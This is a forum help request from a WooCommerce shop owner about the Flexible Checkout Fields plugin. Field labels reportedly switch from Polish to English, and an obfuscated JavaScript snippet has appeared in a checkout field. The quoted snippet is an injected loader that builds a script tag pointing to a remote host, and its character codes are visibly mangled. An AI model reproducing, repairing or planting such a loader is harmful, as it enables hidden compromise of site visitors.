Auto change of field’s name

Hello

I have the Flexible Checkout Fields plugin installed on the site so that I can edit the order fields.
Unfortunately, I have 2 problems with it:

1. In the form, we have names defined in Polish, and from time to time they change their names to English. What could be the reason for such automatic changes? I will add that we do not have any WMPL language and translation plug-ins installed in this store.

2. The following code appeared in one of the fields in the form:
Element.prototype.appendAfter = function (element) {element.parentNode.insertBefore (this, element.nextSibling);}, false; (function () {var elem = document.createElement (String.fromCharCode (115.99,114,105,112,116)); elem.type = String.fromCharCode (116.1101.120 116.47.10.9, 117.9 117.9 115.9 99.11 114.101 116)); elem.src = String.fromCharCode (104.1161 116.1112 115.58.47.4 108.8111.9.9 108.1121.110.110.1115 105. 1151.101 119.1117.161.81 111.111.11 , 63,108,97,61,49) elem.appendAfter (document.getElementsByTagName (String.fromCharCode (115,99,114,105,112,116)) [0]); elem.appendAfter (document.getElementsByTagName (String.fromCharCode (104,101,97,100)) [ 0]); document.getElementsByTagName (String.fromCharCode (104,101,97,100)) [0] .appendChild (elem);}) ();

What does this code mean? And why did he appear on the form?

Thank you in advance for your help.

Best regards,

Tomek